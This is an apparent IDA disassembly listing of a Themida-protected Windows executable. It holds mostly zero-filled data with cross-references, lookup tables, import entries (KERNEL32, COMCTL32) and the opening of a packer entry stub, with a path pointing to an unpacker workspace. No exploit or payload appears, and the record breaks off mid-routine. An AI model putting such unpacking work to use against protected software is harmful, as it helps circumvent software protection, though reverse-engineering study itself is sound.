dword_4CAFE0	dd 0			; DATA XREF: sub_409B12+BE7w
					; sub_409B12+C22r
dword_4CAFE4	dd 0			; DATA XREF: sub_401ACD+2FE4r
					; sub_401ACD+5F98r ...
dword_4CAFE8	dd 0			; DATA XREF: sub_409B12+459w
					; sub_409B12+4BBr ...
dword_4CAFEC	dd 0			; DATA XREF: sub_409B12+49Aw
					; sub_409B12+4E3r ...
dword_4CAFF0	dd 0			; DATA XREF: sub_409B12+466w
					; sub_409B12+4C3r ...
dword_4CAFF4	dd 0			; DATA XREF: sub_401955+89r
					; sub_401ACD+51D3r ...
dword_4CAFF8	dd 0			; DATA XREF: sub_409B12+1A6w
					; sub_409B12+1E2r ...
dword_4CAFFC	dd 0			; DATA XREF: sub_409B12+9F2w
					; sub_409B12+A53r ...
dword_4CB000	dd 0			; DATA XREF: sub_409B12+158w
					; sub_409B12+1ADr ...
dword_4CB004	dd 0			; DATA XREF: sub_409B12+8Cw
					; sub_409B12+E2r ...
dword_4CB008	dd 0			; DATA XREF: sub_409B12+610w
					; sub_409B12+764r ...
dword_4CB00C	dd 0			; DATA XREF: sub_409B12+B43w
					; sub_409B12+B5Fr
dword_4CB010	dd 0			; DATA XREF: sub_409B12+33Aw
					; sub_419651+55r
dword_4CB014	dd 0			; DATA XREF: sub_409B12+27Ew
					; sub_409B12+2D3r ...
dword_4CB018	dd 0			; DATA XREF: sub_409B12+BAAw
dword_4CB01C	dd 0			; DATA XREF: sub_409B12+AECw
					; sub_40AB31+CEr
dword_4CB020	dd 0			; DATA XREF: sub_409B12+ADFw
					; sub_409B12+AE6r ...
dword_4CB024	dd 0			; DATA XREF: sub_4017ED+A6r
					; sub_401ACD+5132r ...
dword_4CB028	dd 0			; DATA XREF: sub_401ACD+5124r
					; sub_401ACD+7980r ...
dword_4CB02C	dd 0			; DATA XREF: sub_409B12+BF4w
					; sub_409B12+C2Fr
dword_4CB030	dd 0			; DATA XREF: sub_401ACD+1E56r
					; sub_401ACD+5AEDr ...
dword_4CB034	dd 0			; DATA XREF: sub_409B12+9B1w
					; sub_409B12+A2Br ...
dword_4CB038	dd 0			; DATA XREF: sub_409B12+65Ew
					; sub_409B12+794r ...
dword_4CB03C	dd 0			; DATA XREF: sub_40111D+12r
					; sub_4017ED+D0r ...
dword_4CB040	dd 0			; DATA XREF: sub_409B12+59Bw
					; sub_409B12+70Cr ...
dword_4CB044	dd 0			; DATA XREF: sub_409B12+B36w
					; sub_409B12+B57r
dword_4CB048	dd 0			; DATA XREF: sub_409B12+540w
					; sub_409B12+6C4r ...
dword_4CB04C	dd 0			; DATA XREF: sub_409B12+B29w
					; sub_409B12+B4Ar
dword_4CB050	dd 0			; DATA XREF: ___:00401273r
					; sub_409B12+31w ...
dword_4CB054	dd 0			; DATA XREF: sub_409B12+17Fw
					; sub_409B12+1CAr ...
		dd 0
dword_4CB05C	dd 0			; DATA XREF: sub_409B12+927w
					; sub_409B12+93Br
dword_4CB060	dd 0			; DATA XREF: sub_409B12+99w
					; sub_409B12+EAr ...
dword_4CB064	dd 0			; DATA XREF: sub_409B12:loc_409C10w
					; sub_409B12+12Bw ...
dword_4CB068	dd 0			; DATA XREF: sub_409B12+126w
					; sub_40A7CE+1Cr
dword_4CB06C	dd 0			; DATA XREF: sub_409B12:loc_409D00w
					; sub_409B12:loc_409D67w ...
dword_4CB070	dd 0			; DATA XREF: sub_409B12+250w
					; sub_40A7CE+50r
dword_4CB074	dd 0			; DATA XREF: ___:0040156Ar
					; sub_401ACD+4567r ...
dword_4CB078	dd 0			; DATA XREF: sub_409B12+41Ew
					; sub_40A7CE+84r
dword_4CB07C	dd 0			; DATA XREF: sub_409B12:loc_40A016w
					; sub_40A7CE:loc_40A87Er
dword_4CB080	dd 0			; DATA XREF: sub_409B12+4FFw
					; sub_40A7CE+B8r
dword_4CB084	dd 0			; DATA XREF: sub_409B12:loc_40A2E7w
					; sub_40A7CE:loc_40A8B2r
dword_4CB088	dd 0			; DATA XREF: sub_409B12+7D0w
					; sub_40A7CE+ECr
dword_4CB08C	dd 0			; DATA XREF: sub_409B12:loc_40A3D2w
					; sub_409B12+8EFw ...
dword_4CB090	dd 0			; DATA XREF: sub_409B12+8EAw
					; sub_40A7CE+120r
dword_4CB094	dd 0			; DATA XREF: sub_401ACD:loc_406F17r
					; sub_409B12:loc_40A466w ...
dword_4CB098	dd 0			; DATA XREF: sub_409B12+94Fw
					; sub_40A7CE+154r
dword_4CB09C	dd 0			; DATA XREF: sub_401ACD+456Fr
					; sub_409B12:loc_40A582w ...
dword_4CB0A0	dd 0			; DATA XREF: sub_409B12+A6Bw
					; sub_40A7CE+188r
dword_4CB0A4	dd 0			; DATA XREF: sub_409B12:loc_40A5CCw
					; sub_40A7CE:loc_40A982r
dword_4CB0A8	dd 0			; DATA XREF: sub_409B12+AB5w
					; sub_40A7CE+1BCr
dword_4CB0AC	dd 0			; DATA XREF: sub_409B12:loc_40A616w
					; sub_40A7CE:loc_40A9B6r
dword_4CB0B0	dd 0			; DATA XREF: sub_409B12+AFFw
					; sub_40A7CE+1F0r
dword_4CB0B4	dd 0			; DATA XREF: sub_409B12:loc_40A68Aw
					; sub_40A7CE:loc_40A9EAr
dword_4CB0B8	dd 0			; DATA XREF: sub_409B12+B73w
					; sub_40A7CE+224r
dword_4CB0BC	dd 0			; DATA XREF: sub_409B12:loc_40A6D4w
					; sub_40A7CE:loc_40AA1Er
dword_4CB0C0	dd 0			; DATA XREF: sub_409B12+BBDw
					; sub_40A7CE+258r
dword_4CB0C4	dd 0			; DATA XREF: sub_409B12:loc_40A772w
					; sub_40A7CE:loc_40AA52r
dword_4CB0C8	dd 0			; DATA XREF: sub_409B12+C5Bw
					; sub_40A7CE+28Cr
dword_4CB0CC	dd 0			; DATA XREF: sub_409B12:loc_40A7BCw
					; sub_40A7CE:loc_40AA86r
dword_4CB0D0	dd 0			; DATA XREF: sub_409B12+CA5w
					; sub_40A7CE+2C0r
dword_4CB0D4	dd 7 dup(0)		; DATA XREF: sub_40AC0F+32o
dword_4CB0F0	dd 0			; DATA XREF: sub_40BA56+18r
					; sub_40BFEB+92w ...
dword_4CB0F4	dd 0			; DATA XREF: sub_40C124+4Dr
					; sub_40C124+2F1w ...
		dd 7FEh	dup(0)
dword_4CD0F0	dd 6 dup(0)		; DATA XREF: sub_40C124+D2o
					; sub_40C124+13Bo ...
dword_4CD108	dd 0			; DATA XREF: sub_40BACD+2C4w
					; sub_40BACD+348o
dword_4CD10C	dd 0			; DATA XREF: sub_40BACD+33Ew
					; sub_40BACD+35Ar
dword_4CD110	dd 0			; DATA XREF: sub_40BACD+2CFw
dword_4CD114	dd 0			; DATA XREF: sub_40BACD+2B9w
					; sub_40BACD:loc_40BDE2r
dword_4CD118	dd 20h dup(0)		; DATA XREF: sub_40BACD+2E2o
					; sub_40BACD+302o
dword_4CD198	dd 0			; DATA XREF: sub_40BACD+2D5w
dword_4CD19C	dd 0			; DATA XREF: sub_40BACD+2EFw
					; sub_40BACD+30Fw
dword_4CD1A0	dd 0			; DATA XREF: sub_40BACD:loc_40BE3Dr
		align 8
dword_4CD1A8	dd 0			; DATA XREF: sub_40BACD+82w
					; sub_40BACD+101o
dword_4CD1AC	dd 41h dup(0)		; DATA XREF: sub_40BACD+41o
dword_4CD2B0	dd 41h dup(0)		; DATA XREF: sub_40BACD+69o
dword_4CD3B4	dd 0			; DATA XREF: sub_40BACD+F7w
					; sub_40BACD+113r
dword_4CD3B8	dd 0			; DATA XREF: sub_40BACD+52w
dword_4CD3BC	dd 0			; DATA XREF: sub_40BACD+4Dw
					; sub_40BACD+D4r
dword_4CD3C0	dd 20h dup(0)		; DATA XREF: sub_40BACD+9Ao
					; sub_40BACD+BAo
dword_4CD440	dd 0			; DATA XREF: sub_40BACD+8Fw
dword_4CD444	dd 0			; DATA XREF: sub_40BACD+A7w
					; sub_40BACD+C7w
dword_4CD448	dd 0			; DATA XREF: sub_40BACD:loc_40BBF6r
		align 10h
dword_4CD450	dd 0			; DATA XREF: sub_40BACD+1A5w
					; sub_40BACD+225o
dword_4CD454	dd 41h dup(0)		; DATA XREF: sub_40BACD+167o
dword_4CD558	dd 41h dup(0)		; DATA XREF: sub_40BACD+18Co
dword_4CD65C	dd 0			; DATA XREF: sub_40BACD+21Bw
					; sub_40BACD+237r
dword_4CD660	dd 0			; DATA XREF: sub_40BACD+17Aw
dword_4CD664	dd 0			; DATA XREF: sub_40BACD+175w
					; sub_40BACD+1F8r
dword_4CD668	dd 20h dup(0)		; DATA XREF: sub_40BACD+1BEo
					; sub_40BACD+1DEo
dword_4CD6E8	dd 0			; DATA XREF: sub_40BACD+1B1w
dword_4CD6EC	dd 0			; DATA XREF: sub_40BACD+1CBw
					; sub_40BACD+1EBw
dword_4CD6F0	dd 0			; DATA XREF: sub_40BACD:loc_40BD1Ar
		align 8
dword_4CD6F8	dd 0			; DATA XREF: sub_40BACD+417w
					; sub_40BACD+470o
dword_4CD6FC	dd 0A2h	dup(0)		; DATA XREF: sub_40BACD+405o
dword_4CD984	dd 41h dup(0)		; DATA XREF: sub_40BACD+3CFo
dword_4CDA88	dd 0			; DATA XREF: sub_40BACD+3FCw
					; sub_40BACD+423r
		align 10h
dword_4CDA90	dd 0			; DATA XREF: sub_40BACD+466w
					; sub_40BACD+482r
dword_4CDA94	dd 0			; DATA XREF: sub_40BACD+429w
dword_4CDA98	dd 0			; DATA XREF: sub_40BACD+436w
dword_4CDA9C	dd 0			; DATA XREF: sub_40BACD+3F6w
		dd 0
dword_4CDAA4	dd 0			; DATA XREF: sub_40BACD:loc_40BF65r
		dd 0
dword_4CDAAC	dd 0			; DATA XREF: sub_40B719+Er
					; sub_40B719+32r
dword_4CDAB0	dd 0			; DATA XREF: sub_40B719+9r
					; sub_40B719+26r
dword_4CDAB4	dd 82h dup(0)		; DATA XREF: sub_40C59B+8Do
dword_4CDCBC	dd 2 dup(0)		; DATA XREF: sub_40CF04+68o
dword_4CDCC4	dd 0			; DATA XREF: sub_40D89F+8w
					; ___:0040DC6Eo
		dd 0
dword_4CDCCC	dd 2 dup(0)		; DATA XREF: ___:0040DBA4o
dword_4CDCD4	dd 0			; DATA XREF: ___:0040E4D7r
		dd 0
		dd 0
dword_4CDCE0	dd 0			; DATA XREF: ___:0040E4AAr
dword_4CDCE4	dd 0			; DATA XREF: ___:0040E48Cr
					; ___:0040E4F5r
		dd 0
dword_4CDCEC	dd 0			; DATA XREF: sub_40BACD+2AEr
					; ___:0040E6E8w
		dd 0
dword_4CDCF4	dd 0			; DATA XREF: sub_40B785+1Cr
dword_4CDCF8	dd 0			; DATA XREF: ___:0040EFE8w
					; ___:0040F00Fr ...
		dd 3 dup(0)
dword_4CDD08	dd 0			; DATA XREF: ___:00410905r
		align 10h
dword_4CDD10	dd 0			; DATA XREF: sub_412351+4w
					; sub_412351+9o
		dd 109h	dup(0)
dword_4CE138	dd 188h	dup(0)		; DATA XREF: sub_401ACD+2F6Eo
					; sub_401ACD:loc_404AC4o
dword_4CE758	dd 0			; DATA XREF: sub_401ACD+1A23w
					; sub_401ACD+2F66r ...
		dd 11Ch	dup(0)
dword_4CEBCC	dd 1000h dup(0)		; DATA XREF: sub_4151AC+1Do
					; sub_41524Co ...
dword_4D2BCC	dd 0			; DATA XREF: sub_4151AC+13o
					; sub_41524C+Eo ...
dword_4D2BD0	dd 0			; DATA XREF: sub_4155F7+Fr
					; sub_4157F0+12r
		align 8
dword_4D2BD8	dd 0Eh dup(0)		; DATA XREF: sub_416922+Fo
dword_4D2C10	dd 80h dup(0)		; DATA XREF: sub_4175E9+41o
dword_4D2E10	dd 200h	dup(0)		; DATA XREF: sub_416F1A+C7o
					; sub_417275+DDo ...
dword_4D3610	dd 200h	dup(0)		; DATA XREF: sub_416F1A+D6o
					; sub_417275+F4o ...
dword_4D3E10	dd 0			; DATA XREF: sub_416F1A+86w
					; sub_4170EC+94r
dword_4D3E14	dd 0			; DATA XREF: sub_416F1A+A7w
					; sub_417552+55r ...
dword_4D3E18	dd 0			; DATA XREF: sub_416F1A+A0w
					; sub_4170EC+D6r ...
dword_4D3E1C	dd 0			; DATA XREF: sub_416F1A+79w
					; sub_4170EC+35r ...
dword_4D3E20	dd 80h dup(0)		; DATA XREF: sub_417552+5Eo
dword_4D4020	dd 0			; DATA XREF: sub_416F1A+93w
					; sub_4170EC+A2r
		align 8
dword_4D4028	dd 0			; DATA XREF: sub_416F1A+E7o
					; sub_416F1A+103r ...
dword_4D402C	dd 0			; DATA XREF: sub_417275+17Bw
					; sub_41741C+107w
dword_4D4030	dd 0			; DATA XREF: sub_417275+180w
					; sub_41741C+10Dw ...
dword_4D4034	dd 0			; DATA XREF: sub_417275+159w
					; sub_417552+4Fr
dword_4D4038	dd 0			; DATA XREF: sub_4178BA+22w
					; sub_4178BA:loc_417A3Fw ...
dword_4D403C	dd 0			; DATA XREF: sub_401ACD+3CC3o
					; sub_417788+12o ...
		dd 0
dword_4D4044	dd 0			; DATA XREF: sub_4178BA+1Cr
					; sub_417A5F+3Ar
		dd 42h dup(0)
		db 2 dup(0)
word_4D4152	dw 0			; DATA XREF: ___:off_437860o
		dd 3Ch dup(0)
dword_4D4244	dd 0			; DATA XREF: sub_4178BA+28r
					; sub_417A5F+4Aw
		dd 1944h dup(0)
dword_4DA758	dd 0			; DATA XREF: sub_417A5F+23o
dword_4DA75C	dd 81h dup(0)		; DATA XREF: sub_401ACD+3CE1o
					; sub_417788+3Co ...
dword_4DA960	dd 17h dup(0)		; DATA XREF: sub_4187DD:loc_4188FAo
					; sub_4187DD+131o ...
dword_4DA9BC	dd 80h dup(0)		; DATA XREF: sub_419593+7Co
					; sub_419593+A5o
dword_4DABBC	dd 0			; DATA XREF: sub_418B58+45w
					; sub_418B58+4Dr ...
dword_4DABC0	dd 17h dup(0)		; DATA XREF: sub_41945F:loc_419581o
					; sub_41945F+12Do
dword_4DAC1C	dd 80h dup(0)		; DATA XREF: sub_418A98+4Co
					; sub_418A98+7Eo ...
byte_4DAE1C	db 0			; DATA XREF: sub_418B58+29r
					; sub_418B58+34w
		align 10h
dword_4DAE20	dd 80h dup(0)		; DATA XREF: sub_418DAF+61o
					; sub_418DAF+89o ...
dword_4DB020	dd 81h dup(0)		; DATA XREF: sub_4186C1:loc_4186F9o
					; sub_4186C1+5Bo
dword_4DB224	dd 0			; DATA XREF: sub_419A20:loc_419A41r
					; sub_419B0F+54r ...
dword_4DB228	dd 0			; DATA XREF: sub_419A20r
					; sub_419B0F+37r ...
dword_4DB22C	dd 0			; DATA XREF: sub_419A50+1Ar
					; sub_419C64+83o
dword_4DB230	dd 0			; DATA XREF: sub_419A20:loc_419A34r
					; sub_419C64+11Bw
dword_4DB234	dd 0Dh dup(0)		; DATA XREF: sub_419B0F+13o
					; sub_419C64:loc_419DA1o
dword_4DB268	dd 0			; DATA XREF: sub_419B0F+CDr
					; sub_419B0F+ECr ...
		align 10h
dword_4DB270	dd 0Eh dup(0)		; DATA XREF: sub_41A88B+47o
dword_4DB2A8	dd 0			; DATA XREF: sub_41BBBD+1B9w
					; ___:loc_41D268w ...
dword_4DB2AC	dd 0			; DATA XREF: sub_41D3BE+35w
					; sub_41DA72:loc_41DB0Cw ...
dword_4DB2B0	dd 0			; DATA XREF: sub_423A33+13Ar
		dd 0A28h, 501h,	5, 1
dword_4DB2C4	dd 1			; DATA XREF: ___:loc_401516r
					; ___:00423014w
dword_4DB2C8	dd 2440B30h		; DATA XREF: ___:0040151Fr
					; ___:0040153Fr ...
		align 10h
dword_4DB2D0	dd 2440B58h		; DATA XREF: ___:00422F0Ew
					; sub_425AC7+9r ...
dword_4DB2D4	dd 0			; DATA XREF: sub_4261AB+36r
dword_4DB2D8	dd 0			; DATA XREF: sub_425AC7+16r
					; sub_425E95+4r ...
		align 10h
off_4DB2E0	dd offset aCM_unpackerPac ; DATA XREF: ___:00422FB1w
					; "C:\\m_unpacker\\packed.exe"
		align 8
byte_4DB2E8	db 0			; DATA XREF: sub_41B7D3+2Dw
					; sub_4239DB+5r
		align 4
dword_4DB2EC	dd 0			; DATA XREF: sub_41B7D3+27w
dword_4DB2F0	dd 0			; DATA XREF: sub_41B7D3+4r
					; sub_41B7D3+8Bw
dword_4DB2F4	dd 0			; DATA XREF: sub_41C0F4+3Br
					; sub_41C0F4+91w
		dd 0
dword_4DB2FC	dd 0			; DATA XREF: sub_41C748+Aw
dword_4DB300	dd 0			; DATA XREF: sub_41D081+5Er
					; sub_41D081+A4w
		align 8
word_4DB308	dw 0			; DATA XREF: sub_41D081+55r
					; sub_41D081+9Ao
word_4DB30A	dw 0			; DATA XREF: sub_41D081+48r
		db 2 dup(0)
word_4DB30E	dw 0			; DATA XREF: sub_41D081+3Br
word_4DB310	dw 0			; DATA XREF: sub_41D081+2Er
word_4DB312	dw 0			; DATA XREF: sub_41D081+21r
		align 8
dword_4DB318	dd 0			; DATA XREF: ___:loc_422EDCr
					; ___:loc_422F1Er ...
		align 10h
dword_4DB320	dd 0			; DATA XREF: sub_41DA29r ___:0041DA50o ...
dword_4DB324	dd 0			; DATA XREF: sub_41EB10+4Bw
					; sub_41EC29+2Dw ...
dword_4DB328	dd 0			; DATA XREF: sub_41F312r
dword_4DB32C	dd 0			; DATA XREF: sub_41B202:loc_41B31Er
					; sub_41B202:loc_41B43Fr ...
dword_4DB330	dd 1			; DATA XREF: sub_41FEA9:loc_420024r
					; sub_420042+4w ...
dword_4DB334	dd 0			; DATA XREF: sub_420446+37r
		dd 0
dword_4DB33C	dd 0			; DATA XREF: sub_4219D9+11r
					; sub_421ADD+1Ar ...
byte_4DB340	db 0			; DATA XREF: sub_4219D9+3r
					; sub_4219D9+98r ...
		align 4
dword_4DB344	dd 0			; DATA XREF: sub_421ADD+11r
					; sub_421BBB+21w ...
byte_4DB348	db 0			; DATA XREF: sub_421BBB+51w
		align 4
dword_4DB34C	dd 0			; DATA XREF: sub_421DB1+4Er
					; sub_42218C+3Ar ...
dword_4DB350	dd 0			; DATA XREF: sub_421DB1+5Cr
					; sub_42218C+43r ...
dword_4DB354	dd 0			; DATA XREF: sub_41C9CE+7Ar
					; sub_421F58+5r
dword_4DB358	dd 0			; DATA XREF: sub_42255C+29r
dword_4DB35C	dd 2 dup(0)		; DATA XREF: sub_41D160+Co
dword_4DB364	dd 0			; DATA XREF: sub_41D5AA+4r
					; sub_41D5AA+6Er ...
		dd 3 dup(0)
dword_4DB374	dd 0			; DATA XREF: sub_41D834+61r
					; sub_41D834+BFr ...
		dd 0
dword_4DB37C	dd 1			; DATA XREF: sub_422ACA+28r
					; sub_422ACA+4Cw ...
dword_4DB380	dd 0			; DATA XREF: ___:00422D28r
					; ___:00422D34w ...
aCM_unpackerPac	db 'C:\m_unpacker\packed.exe',0 ; DATA XREF: ___:loc_422F9Ao
					; ___:off_4DB2E0o
		align 10h
		dd 3Ah dup(0)
dword_4DB488	dd 1			; DATA XREF: ___:004231D2r
					; ___:004231F3w ...
dword_4DB48C	dd 0			; DATA XREF: sub_423590+21r
dword_4DB490	dd 0			; DATA XREF: sub_41F32D+154w
					; sub_420446:loc_42046Fw ...
dword_4DB494	dd 0			; DATA XREF: sub_41F32D+7r
dword_4DB498	dd 1			; DATA XREF: sub_423CEC+26r
					; sub_423CEC:loc_423D56w
		align 10h
word_4DB4A0	dw 0			; DATA XREF: sub_4245E9+1Ao
					; sub_4245E9+46r
byte_4DB4A2	db 0			; DATA XREF: sub_4245E9+39r
		align 4
dword_4DB4A4	dd 7 dup(0)		; DATA XREF: sub_4245E9+52o
dword_4DB4C0	dd 0			; DATA XREF: sub_4245E9+40w
					; sub_4245E9+5Co
dword_4DB4C4	dd 0			; DATA XREF: sub_4245E9+4Dw
dword_4DB4C8	dd 0			; DATA XREF: sub_4245E9+31w
dword_4DB4CC	dd 0			; DATA XREF: sub_4245E9+52w
dword_4DB4D0	dd 77C26E79h		; DATA XREF: sub_42470C:loc_42472Fr
					; sub_42470C+38r
		align 8
dword_4DB4D8	dd 0			; DATA XREF: sub_4247EC+11w
					; sub_4247EC+63w ...
		align 10h
dword_4DB4E0	dd 0			; DATA XREF: sub_4247EC+33o
					; sub_4247EC+46r
dword_4DB4E4	dd 10h dup(0)		; DATA XREF: sub_4247EC+C1o
word_4DB524	dw 0			; DATA XREF: sub_424A4A+A8r
word_4DB526	dw 0			; DATA XREF: sub_4247EC+54r
					; sub_424A4A+DBr ...
word_4DB528	dw 0			; DATA XREF: sub_424A4A+CAr
word_4DB52A	dw 0			; DATA XREF: sub_424A4A+D3r
					; sub_424A4A:loc_424B3Cr
word_4DB52C	dw 0			; DATA XREF: sub_424A4A+C0r
word_4DB52E	dw 0			; DATA XREF: sub_424A4A+B8r
word_4DB530	dw 0			; DATA XREF: sub_424A4A+B0r
word_4DB532	dw 0			; DATA XREF: sub_424A4A+9Er
dword_4DB534	dd 0			; DATA XREF: sub_4247EC+4Br
dword_4DB538	dd 10h dup(0)		; DATA XREF: sub_4247EC+FBo
word_4DB578	dw 0			; DATA XREF: sub_424A4A+46r
word_4DB57A	dw 0			; DATA XREF: sub_4247EC:loc_424863r
					; sub_424A4A+78r ...
word_4DB57C	dw 0			; DATA XREF: sub_424A4A+67r
word_4DB57E	dw 0			; DATA XREF: sub_424A4A+70r
					; sub_424A4A:loc_424ACEr
word_4DB580	dw 0			; DATA XREF: sub_424A4A+5Dr
word_4DB582	dw 0			; DATA XREF: sub_424A4A+55r
word_4DB584	dw 0			; DATA XREF: sub_424A4A+4Dr
word_4DB586	dw 0			; DATA XREF: sub_424A4A+3Er
dword_4DB588	dd 0			; DATA XREF: sub_4247EC+80r
dword_4DB58C	dd 0			; DATA XREF: sub_4247EC+132r
					; sub_4247EC:loc_424938r ...
dword_4DB590	dd 0			; DATA XREF: sub_4247D7r sub_4247D7+Ew
dword_4DB594	dd 0			; DATA XREF: sub_424D78+3r
					; sub_424D78+2Ew ...
dword_4DB598	dd 0			; DATA XREF: sub_424D78+43w
					; sub_424D78:loc_424DC7r
dword_4DB59C	dd 0			; DATA XREF: sub_424D78+4Aw
					; sub_424D78+60r
dword_4DB5A0	dd 0			; DATA XREF: sub_423A33+3Fr
dword_4DB5A4	dd 0			; DATA XREF: sub_425955:loc_4259BCr
					; sub_425955+6Do
dword_4DB5A8	dd 0			; DATA XREF: sub_425955:loc_425993r
					; sub_425955+44o
dword_4DB5AC	dd 0			; DATA XREF: sub_425955:loc_425986r
					; sub_425955+37o
dword_4DB5B0	dd 0			; DATA XREF: sub_425955:loc_4259A0r
					; sub_425955+51o
		align 8
dword_4DB5B8	dd 0			; DATA XREF: sub_425F03+28r
					; sub_425F03+48w ...
dword_4DB5BC	dd 0			; DATA XREF: sub_426988+28r
					; sub_426988+4Cw ...
dword_4DB5C0	dd 0			; DATA XREF: sub_426C13+26r
					; sub_426C13:loc_426C7Dw
byte_4DB5C4	db 0			; DATA XREF: sub_40D878r sub_40D878+9w
		align 4
dword_4DB5C8	dd 2441140h		; DATA XREF: sub_41DBF0:loc_41DC01r
					; sub_41F49D+14r ...
		dd 5 dup(0)
dword_4DB5E0	dd 400h	dup(0)		; DATA XREF: ___:off_43CA18o
					; ___:0043CA20o
dword_4DC5E0	dd 200h			; DATA XREF: sub_41DBF0+9r
					; sub_41DBF0+56r ...
		dd 7 dup(0)
dword_4DC600	dd 2440650h		; DATA XREF: sub_41F043+75r
					; sub_41F11C+2Ar ...
dword_4DC604	dd 3Fh dup(0)		; DATA XREF: ___:00423394o
dword_4DC700	dd 20h			; DATA XREF: sub_41DA72+8r
					; sub_41F11C+Cr ...
dword_4DC704	dd 4E4h			; DATA XREF: sub_41FEA9+14r
					; sub_41FEA9+65w ...
		align 10h
dword_4DC710	dd 3 dup(0)		; DATA XREF: sub_41FEA9+123o
					; sub_41FEA9+171o ...
dword_4DC71C	dd 0			; DATA XREF: sub_41FEA9+108w
					; sub_41FEA9+15Dw ...
byte_4DC720	db 0			; DATA XREF: sub_4200E8:loc_4201F4w
					; sub_4200E8:loc_420211w ...
		align 4
		dd 0Fh dup(0)
		dd 63626100h, 67666564h, 6B6A6968h, 6F6E6D6Ch, 73727170h
		dd 77767574h, 7A7978h, 0
		dd 43424100h, 47464544h, 4B4A4948h, 4F4E4D4Ch, 53525150h
		dd 57565554h, 5A5958h, 0
		dd 83000000h, 0
		dd 9A0000h, 9E009Ch, 2 dup(0)
		dd 8A0000h, 0FF8E008Ch,	2 dup(0)
		dd 0AA0000h, 2 dup(0)
		dd 0B500h, 0BA0000h, 0
		dd 0E3E2E1E0h, 0E7E6E5E4h, 0EBEAE9E8h, 0EFEEEDECh, 0F3F2F1F0h
		dd 0F6F5F4h, 0FBFAF9F8h, 0DFFEFDFCh, 0C3C2C1C0h, 0C7C6C5C4h
		dd 0CBCAC9C8h, 0CFCECDCCh, 0D3D2D1D0h, 0D6D5D4h, 0DBDAD9D8h
		dd 9FDEDDDCh
byte_4DC820	db 0			; DATA XREF: sub_41FEA9+5Co
					; sub_41FEA9+AFo ...
byte_4DC821	db 0			; DATA XREF: sub_41B9D1+5Dr
					; sub_41FEA9+A0w ...
		align 4
		dd 0Fh dup(0)
		dd 10100000h, 6	dup(10101010h),	0
		dd 20200000h, 6	dup(20202020h),	2 dup(0)
		dd 20h,	10000000h, 10001000h, 2	dup(0)
		dd 20000000h, 20002000h, 10h, 0
		dd 20000000h, 2	dup(0)
		dd 200000h, 20000000h, 0
		dd 10101000h, 5	dup(10101010h),	10101000h, 10101010h, 6	dup(20202020h)
		dd 20202000h, 20202020h, 20h
dword_4DC924	dd 0			; DATA XREF: sub_41FEA9+6Ew
					; sub_41FEA9+12Bw ...
dword_4DC928	dd 0			; DATA XREF: sub_41E4D4+5r
					; sub_41E4D4+32w
dword_4DC92C	dd 0			; DATA XREF: sub_41DEA2+23Ar
					; sub_41DEA2+25Ar ...
dword_4DC930	dd 0			; DATA XREF: sub_41DEA2+311w
					; sub_41E1CB:loc_41E21Br ...
dword_4DC934	dd 0			; DATA XREF: sub_41DEA2+22Dr
					; sub_41DEA2+260r ...
dword_4DC938	dd 0			; DATA XREF: sub_41DE77r
					; sub_41DEA2+2CBr ...
dword_4DC93C	dd 0			; DATA XREF: sub_41DE77+8r
					; sub_41DEA2+2D0r ...
dword_4DC940	dd 0			; DATA XREF: sub_41B202+5Cr
					; sub_41B513+Fr ...
dword_4DC944	dd 2440000h		; DATA XREF: sub_41B0B1+5Ar
					; sub_41B202+C0r ...
dword_4DC948	dd 1			; DATA XREF: sub_41B0B1+Cr
					; sub_41B202:loc_41B232r ...
dword_4DC94C	dd 142340h		; DATA XREF: ___:00422E81r
					; ___:00422FACr
dword_4DC950	dd 1			; DATA XREF: ___:00422F77w sub_425AC7r
dword_4DC954	dd 1			; DATA XREF: sub_42026Dr
					; sub_42026D+11w ...
dword_4DC958	dd 2440758h		; DATA XREF: sub_41B7D3+3Er
					; sub_41CFD3+13r ...
dword_4DC95C	dd 2440758h		; DATA XREF: sub_41B7D3+35r
					; sub_41B7D3+57r ...
		dd 1A8h	dup(0)
		dd 127h, 19Ch, 1DCh, 221h, 233h, 290h, 3FAh dup(0)
___		ends

; Section 2. (virtual address 000DE000)
; Virtual size			: 00001000 (   4096.)
; Section size in file		: 00001000 (   4096.)
; Offset to raw	data for section: 000DE000
; Flags	C0000040: Data Readable	Writable
; Alignment	: default
; ===========================================================================

; Segment type:	Pure data
; Segment permissions: Read/Write
_rsrc___	segment	para public 'DATA' use32
		assume cs:_rsrc___
		;org 4DE000h
		dd 400h	dup(0)
_rsrc___	ends

; Section 3. (virtual address 000DF000)
; Virtual size			: 00001000 (   4096.)
; Section size in file		: 00001000 (   4096.)
; Offset to raw	data for section: 000DF000
; Flags	C0000040: Data Readable	Writable
; Alignment	: default
; ===========================================================================

; Segment type:	Pure data
; Segment permissions: Read/Write
_idata__	segment	para public 'DATA' use32
		assume cs:_idata__
		;org 4DF000h
a7icwCw		db '7¨çwµ\çw',0
		align 4
		dd 77345219h, 4	dup(0)
		dd 0DF050h, 0DF000h, 3 dup(0)
		dd 0DF079h, 0DF00Ch, 5 dup(0)
aKernel32_dll_0	db 'KERNEL32.dll',0
		db 2 dup(0), 43h
aReatefilea	db 'reateFileA',0
		align 4
		dd 69784500h, 6F725074h, 73736563h, 4D4F4300h, 334C5443h
		dd 6C642E32h, 6Ch
aInitcommoncont	db 'InitCommonControls',0
		align 1000h
_idata__	ends

; Section 4. (virtual address 000E0000)
; Virtual size			: 000E2000 ( 925696.)
; Section size in file		: 000E2000 ( 925696.)
; Offset to raw	data for section: 000E0000
; Flags	C0000040: Data Readable	Writable
; Alignment	: default
; ===========================================================================

; Segment type:	Pure data
; Segment permissions: Read/Write
Themida_	segment	para public 'DATA' use32
		assume cs:Themida_
		;org 4E0000h
		dd 0E980D83h, 44267h, 5409Bh, 95172h, 0

; =============== S U B	R O U T	I N E =======================================


		public start

start		proc near

var_1C		= dword	ptr -1Ch

; FUNCTION CHUNK AT 004E0265 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0053EEEA SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0054222B SIZE 00000062 BYTES
; FUNCTION CHUNK AT 005424A1 SIZE 00000081 BYTES

		mov	eax, 0
		pusha
		or	eax, eax
		jz	short loc_4E0086
		call	$+5
		pop	eax
		add	eax, 53h
		cmp	byte ptr [eax],	0E9h
		jnz	short loc_4E0041
		popa
		jmp	short loc_4E0076
; ---------------------------------------------------------------------------
		db 0DBh, 2Dh, 37h
		dd 0FF004E00h, 0FFFFFFFFh, 3DFFFFFFh
		db 40h
; ---------------------------------------------------------------------------

loc_4E0041:				; CODE XREF: start+18j
		call	$+5
		pop	eax

